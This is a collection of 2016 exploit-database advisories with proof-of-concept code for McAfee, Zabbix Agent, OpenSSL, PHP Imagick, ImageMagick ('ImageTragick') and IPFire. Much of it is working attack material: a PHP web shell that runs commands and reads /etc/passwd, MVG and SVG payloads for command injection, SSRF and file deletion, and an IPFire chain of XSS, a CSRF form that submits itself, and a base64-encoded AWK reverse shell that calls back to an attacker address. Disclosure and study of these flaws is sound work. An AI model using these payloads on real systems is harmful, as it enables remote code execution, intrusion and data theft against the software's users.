Fuzzing packed executables with McAfee's LiveSafe 14.0 on Windows found a signedness error parsing sections and relocations. The attached fuzzed testcase demonstrates this and causes a crash in mscan64a.dll. I verified that this crash reproduces on Linux and Windows, all version of McAfee appear to be affected including the embedded version and the SDK.

Naturally, this code runs as SYSTEM on Windows, with no sandboxing and is used to parse untrusted remote input.

0:045> .lastevent
Last event: d34.13a4: Access violation - code c0000005 (first chance)
  debugger time: Tue Apr  5 15:02:40.009 2016 (UTC - 7:00)
0:045> r
rax=00000000306f1000 rbx=00000000306f1000 rcx=00000000ffffffff
rdx=00000001031d114f rsi=00000000031d1150 rdi=00000000306f4000
rip=00000000711a36fa rsp=00000000064748a0 rbp=00000000031ca880
 r8=00000000000005d3  r9=00000000306f0fff r10=8d00008661e82404
r11=0000000000000000 r12=00000000306f4000 r13=000000000647917c
r14=000000001070c1b8 r15=00000000031ca698
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mscan64a!RetrieveSingleExtensionList+0x19844a:
00000000`711a36fa 0fb64a01        movzx   ecx,byte ptr [rdx+1] ds:00000001`031d1150=??

Okay, what happened there?

0:007> ub 
mscan64a!RetrieveSingleExtensionList+0x198437:
00000000`71fd36e7 8b45c8          mov     eax,dword ptr [rbp-38h]
00000000`71fd36ea 8b08            mov     ecx,dword ptr [rax]
00000000`71fd36ec 8d4101          lea     eax,[rcx+1]
00000000`71fd36ef 3bc7            cmp     eax,edi
00000000`71fd36f1 7332            jae     mscan64a!RetrieveSingleExtensionList+0x198475 (00000000`71fd3725)
00000000`71fd36f3 2bcb            sub     ecx,ebx
00000000`71fd36f5 8bd1            mov     edx,ecx
00000000`71fd36f7 4803d6          add     rdx,rsi
0:007> dd @rbp-38 L1
00000000`0c529018  0c52d7ac
0:007> dd 0c52d7ac L1
00000000`0c52d7ac  90000fff

So it looks like that calculation is used as an index into @rsi, which is obviously going to be oob.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39770.zip
            
CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection
--------------------------------------------------------------------

Affected products
=================

At least Zabbix Agent 1:3.0.1-1+wheezy from
http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions
were not tested.

Background
==========

"Zabbix agent is deployed on a monitoring target to actively monitor
local resources and applications (hard drives, memory, processor
statistics etc).

The agent gathers operational information locally and reports data to
Zabbix server for further processing. In case of failures (such as a
hard disk running full or a crashed service process), Zabbix server
can actively alert the administrators of the particular machine that
reported the failure.

Zabbix agents are extremely efficient because of use of native system
calls for gathering statistical information."

-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent

Description
===========

Zabbix agent listens on port 10050 for connections from the Zabbix
server. The commands can be built-in or user-defined.

The mysql.size user parameter defined in
/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input
parameters and uses a shell script to generate an SQL query:

UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N

The code assumes that /bin/sh is bash that supports the [[ compound
command. However, if /bin/sh is for example dash the statement

[[ "$1" = "all" || ! "$1" ]]

ends up executing the command "$1" with the argument "]]".

Exploit
=======

Zabbix sanitizes the input and blocks many dangerous characters
("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot
give our shell commands any parameters which significantly reduces the
impact of this vulnerability. If you find a way to execute arbitrary
commands using this flaw I'd be really interested in the details. The
following proof-of-concept shows how the vulnerability can be used
escalate privileges locally:

$ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned
$ chmod a+rx /tmp/owned
$ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A
ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$
This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$
sh: 1: [[: not found$
sh: 1: all: not found$

The exploit of course assumes that the Server line in the
configuration includes "127.0.0.1". If the agent is configured to
accept connections only from the Zabbix server. In that case this
issue can only be exploited from the server or by spoofing the IP
address of the server (with for example ARP spoofing).

Since output of the command is piped to mysql it might be possible to
also execute some SQL commands in the database.

Author
======

This issue was discovered by Timo Lindfors from Nixu Corporation.

Timeline
========

2016-04-19: Issue discovered and reported internally for verification.
2016-04-21: Issue reported to vendor.
2016-04-22: Vendor acknowledges vulnerability and starts patching.
2016-04-26: Asked status update from vendor.
2016-04-26: Vendor responds that the issue is still being patched.
2016-04-26: CVE requested from MITRE.
2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.
2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741
            
Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html

TLS-Attacker:
https://github.com/RUB-NDS/TLS-Attacker
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39768.zip


You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port

The xml configuration file (rsa-overflow.xml) looks then as follows:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <protocolMessages>
        <ClientHello>
            <messageIssuer>CLIENT</messageIssuer>
            <includeInDigest>true</includeInDigest>
            <extensions>
                <EllipticCurves>
                    <supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
                    <supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
                    <supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
                    <supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
                </EllipticCurves>
            </extensions>
            <supportedCompressionMethods>
                <CompressionMethod>NULL</CompressionMethod>
            </supportedCompressionMethods>
            <supportedCipherSuites>
                <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
                <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
                <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
                <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
            </supportedCipherSuites>
        </ClientHello>
        <ServerHello>
            <messageIssuer>SERVER</messageIssuer>
        </ServerHello>
        <Certificate>
            <messageIssuer>SERVER</messageIssuer>
        </Certificate>
        <ServerHelloDone>
            <messageIssuer>SERVER</messageIssuer>
        </ServerHelloDone>
        <RSAClientKeyExchange>
            <messageIssuer>CLIENT</messageIssuer>
        </RSAClientKeyExchange>
        <ChangeCipherSpec>
            <messageIssuer>CLIENT</messageIssuer>
        </ChangeCipherSpec>
        <Finished>
            <messageIssuer>CLIENT</messageIssuer>
            <records>
            <Record>
            <plainRecordBytes>
                <byteArrayExplicitValueModification>
                     <explicitValue>
  3F 3F 3F 3F 3F 3F 3F 3F  3F 3F 3F 3F 3F 3F 3F 3F
  3F 3F 3F 3F 3F 3F 3F 3F  3F 3F 3F 3F 3F 3F 3F 3F
                     </explicitValue>
                </byteArrayExplicitValueModification>
            </plainRecordBytes>
            </Record>
            </records>
        </Finished>
        <ChangeCipherSpec>
            <messageIssuer>SERVER</messageIssuer>
        </ChangeCipherSpec>
        <Finished>
            <messageIssuer>SERVER</messageIssuer>
        </Finished>
    </protocolMessages>
</workflowTrace>

It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.
            
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick  <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04

# Exploit:

<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;

file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();

echo file_get_contents($data_file);
?>
            
Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.

ImageMagick: Multiple vulnerabilities in image decoder

1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution

Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.

ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)

$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...


The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.

exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.

All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.

2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:

ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # makes http request to example.com

3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:

delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:

file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context

$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd


How to mitigate the vulnerability.

Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected �magic bytes�
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in �/etc/ImageMagick�.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:

<policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL" />
    <policy domain="coder" rights="none" pattern="URL" />
    <policy domain="coder" rights="none" pattern="HTTPS" />
    <policy domain="coder" rights="none" pattern="MVG" />
    <policy domain="coder" rights="none" pattern="MSL" />
</policymap>


Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/
            
######################################################################################
# Exploit Title: IPFire < 2.19 Update Core 101 XSS to CSRF to Remote Command Execution
# Date: 04/05/2016
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.ipfire.org
# Version: lesser-than 2.19 Core Update 101
# Category: Remote Command Execution / XSS
# Google dork:
# Tested on: IPFire distribution
######################################################################################
 
 
IPFire firewall/router distribution description :
======================================================================
 
IPFire is a free Linux distribution which acts as a router and firewall in the first instance. It can be maintained via 
a web interface. The distribution furthermore offers selected server daemons and can easily be expanded to a SOHO server.

IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop. Since Version 2, 
only IPCop's web interface is used.


Vulnerability description :
======================================================================

As others linux-router based firewall that I've tested and analyzed, IPFire (based on IPCop) have some vulnerabilities.
Through an XSS, it's possible to bypass CSRF-referer checking and exploit a Remote Command Execution to gain a full reverse-shell.
The method detailed below is very similar to the one presented in my previous article for IPCop some year ago.

IPCop 2.1.4 Remote Command Execution : https://www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution/

 
Proof of Concept 1 :
======================================================================
 
A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers 
or blocked with Anti-XSS engine.
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
 
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
    &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
 
PoC: 
https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS/)</script>
 
 
Proof of Concept 2 :
======================================================================
 
CSRF exploit bypass from previous XSS.
IPFire is protected against CSRF attack with a referer checking on all page.
It's possible to bypass this protection with the previous XSS detailed.
To do this, load a third party JS script with the XSS, and make Ajax request over IPFire context (so with the right referer).
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
 
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
    &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
 
PoC :

Host a third party JS script on a web server accessible from IPFire. In this JS script, load JQuery dynamically and perform any AJAX request to an IPFire targeted page.
All AJAX request bypass the CSRF protection.

 * Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js:
 
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
    $.ajax({
      type: 'POST',
      url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>",
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: '<YOUR_DATA>'
    }); // payload of your choice
  }
setTimeout("loadX()",2000);

 * XSS to load dynamically this third party script :

var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);

 * Escape this string with escape() Javascript method :

%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09

 * Make the final URL with XSS in GET param that load dynamically the third party script (IE) :

https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>
 

Proof of Concept 3 :
======================================================================
 
Remote Command Execution in the proxy.cgi file. This file is protected from CSRF execution.
Affected version < 2.19 Core Update 101.

File /srv/web/ipfire/cgi-bin/proxy.cgi line 4137 :
    system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");

The $str_pass isn't sanitized before execution in command line. It's possible to change the "NCSA_PASS" and "NCSA_PASS_CONFIRM" post data with arbitrary data.



So the RCE can be exploited with this PoC (if the Referer is defined to IPFire URL) :

<html>
  <body>
    <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
      <input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' />
      <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' />
	  <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
      <input type='hidden' name='ACTION' value='Ajouter' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>

Note that the ACTION POST param depend on the IPFire language defined.


Proof of Concept 4 :
======================================================================

Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPFire.
IPFire does not have netcat nor telnet, socat, python, ruby, php etc ...
The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used :
(From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/)

 * The reverse-shell one-line with AWK is :

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

 * To bypass IPFire filter, you need to encode this command in base64 (after modify <IP> and <PORT>) :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==

 * Place a \n at each bloc of 64 chars in the base64 version :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==

 * This payload can be echo'ed and decoded with openssl, on the fly, into IPFire :

echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d

 * To execute this payload, add backticks and eval call :

eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`

 * Your payload is ready to be used into POST param in proxy.cgi, like the previous PoC :

||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#

 * Full PoC (IPFire < 2.19 Core Update 101) 
 (if the referer is defined to IPFire URL, and a netcat is listening # nc -l -vv -p 1337) :

<html>
  <body>
    <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
      <input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
      <input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
	  <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
      <input type='hidden' name='ACTION' value='Ajouter' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>

Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps.

 * With the XSS method to bypass CSRF Referer checking, the third party JS script can be :

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
    $.ajax({
      type: 'POST',
      url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi",
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#'
    });
  }
setTimeout("loadX()",2000);

 * A demonstration video has been realised as PoC here (IPFire < 2.19 Core Update 101) : https://www.youtube.com/watch?v=rBd21aXU83E


Solution:
======================================================================
- Upgrade to IPFire 2.19 Core Update 101

I just want to thank Michael TREMER for his availability, his kindness, his correction speed and quality of the IPFire project I am a regular user.


Report timeline :
======================================================================
 
2016-04-03 : Vulnerabilities discovered in the latest IPFire version
2016-04-04 : IPFire team alerted with details and PoC through forum and bugtracker
2016-04-05 : Several exchanges between Michael TREMER and me on the BugTracker to fix these vulnerabilities
2016-04-05 : CVE assigment request sent by IPFire team
2016-04-06 : CVE ID denied without any reason, emailed back
2016-04-08 : CVE ID denied again without any reason
2016-04-27 : IPFire 2.19 Core Update 101 available for testing
2016-05-02 : IPFire 2.19 Core Update 101 released

 
Additional resources :
======================================================================
 
- www.ipfire.org
- www.ipfire.org/news/ipfire-2-19-core-update-101-released
- planet.ipfire.org/post/ipfire-2-19-core-update-101-is-available-for-testing
- www.ubuntufree.com/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui/
